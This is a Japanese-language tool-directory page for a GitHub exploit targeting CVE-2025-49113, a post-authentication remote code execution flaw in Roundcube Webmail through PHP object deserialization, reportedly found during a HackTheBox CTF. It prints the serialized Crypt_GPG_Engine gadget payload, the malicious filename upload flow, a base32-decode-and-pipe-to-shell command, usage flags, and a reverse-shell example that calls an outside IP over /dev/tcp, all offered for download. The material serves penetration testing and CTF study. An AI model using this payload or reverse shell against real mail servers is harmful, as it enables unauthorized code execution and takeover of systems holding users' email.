Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-49113-Roundcube-RCE — CVE-2025-49113 – Roundcube ≤1.6.10 の認証後RCE(PHPオブジェクト逆シリアル化経由)(HackTheBox CTF) | Kitploit
ツール/GitHubGitHub/rippsec/cve-2025-49113-roundcube-rce
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテストペイロード開発
GitHubrippsec/cve-2025-49113-roundcube-rce

CVE-2025-49113-Roundcube-RCE

CVE-2025-49113 – Roundcube ≤1.6.10 の認証後RCE(PHPオブジェクト逆シリアル化経由)(HackTheBox CTF)

リポジトリを見る
4ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-49113 — PHPオブジェクトデシリアライゼーションによるRoundcube認証後RCE

概要

フィールド詳細
CVECVE-2025-49113
ソフトウェアRoundcube Webmail
影響を受けるバージョン≤ 1.6.10
脆弱性PHPオブジェクトデシリアライゼーション → RCE
認証必要 (有効なユーザーであれば誰でも)
影響サーバー上でのリモートコード実行
コンテキストHackTheBox CTF中に発見

説明

Roundcube Webmail バージョン 1.6.10 以下は、認証後のリモートコード実行の脆弱性があります。ファイルアップロードハンドラは、アップロードされた添付ファイルのファイル名に埋め込まれたPHPオブジェクトをデシリアライズします。シリアル化された Crypt_GPG_Engine オブジェクトを含む悪意のあるファイル名を細工することで、認証された攻撃者がファイル名の処理時にサーバー上で任意のコマンド実行を引き起こすことができます。

技術的詳細

脆弱性クラス

PHPオブジェクトデシリアライゼーション (CWE-502)。Roundcubeのファイルアップロードエンドポイントは、クライアントが提供したファイル名を検証なしでデシリアライズパスに渡します。Crypt_GPG_Engine クラスはRoundcubeの依存関係チェーンで利用可能であり、使用可能なガジェットチェーンとして機能します。

ガジェットチェーン

Crypt_GPG_Engine クラスには、オブジェクトの破棄/初期化中にシステムレベルの呼び出しに渡される _gpgconf プロパティが含まれています。細工された _gpgconf 値を持つインスタンスをシリアル化することで、攻撃者はコマンド実行を強制します。

root@kitploit:~
Serialized payload format:
|O:16:"Crypt_GPG_Engine":3:{
    s:8:"_process"; b:0;
    s:8:"_gpgconf"; s:<len>:"<base32-encoded-command> | base32 -d | sh &#";
    s:8:"_homedir"; s:0:"";
}

コマンドはBase32でエンコードされ、ファイル名フィールドでの特殊文字の問題を回避しています。

エクスプロイトフロー

root@kitploit:~
攻撃者 (認証済み)
    │
    ▼
GET /?_task=login         → CSRFトークンとセッションクッキーを取得
    │
    ▼
POST /?_task=login         → 有効な資格情報で認証
    │
    ▼
POST /?_task=settings&_action=upload
    Content-Disposition: filename="<SERIALIZED_PAYLOAD>"
    │
    ▼
サーバーがファイル名をデシリアライズ → Crypt_GPG_Engine がインスタンス化される
    │
    ▼
_gpgconf が実行される → OSコマンドがウェブサーバーユーザーとして実行される

Base32を使用する理由

コマンドはBase32でエンコードされ、マルチパートファイル名フィールドを壊す可能性のある文字(引用符、スラッシュなど)を回避します。サーバーで実行される最終的なコマンドは次のとおりです:

root@kitploit:~
echo "<B32_CMD>" | base32 -d | sh

使用方法

root@kitploit:~
python3 exploit.py -u <USER> -p <PASS> -i <TARGET_URL> -x <COMMAND>
フラグ説明
-uRoundcube ユーザー名
-pRoundcube パスワード
-iターゲットURL (例: http://mail.target.htb)
-xサーバー上で実行するコマンド

例

root@kitploit:~
# Check code execution as web server user
python3 exploit.py -u admin -p password -i http://mail.target.htb -x "id"

# Reverse shell
python3 exploit.py -u admin -p password -i http://mail.target.htb \
  -x "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"

依存関係

外部ライブラリは不要 — Python標準ライブラリのみ使用 (http.client, urllib, base64, など)。

概念実証

root@kitploit:~
$ python3 exploit.py -u bob -p letmein -i http://mail.target.htb -x "id"
[*] Starting Roundcube exploit (CVE-2025-49113)
[*] Fetching CSRF token...
[+] Got CSRF token: abc123...
[*] Authenticating...
[+] Authentication successful
[*] Executing command: id
[+] Exploit completed. Check target for command execution.

参考文献

  • NVDエントリ
  • Roundcube公式サイト
ツールをダウンロード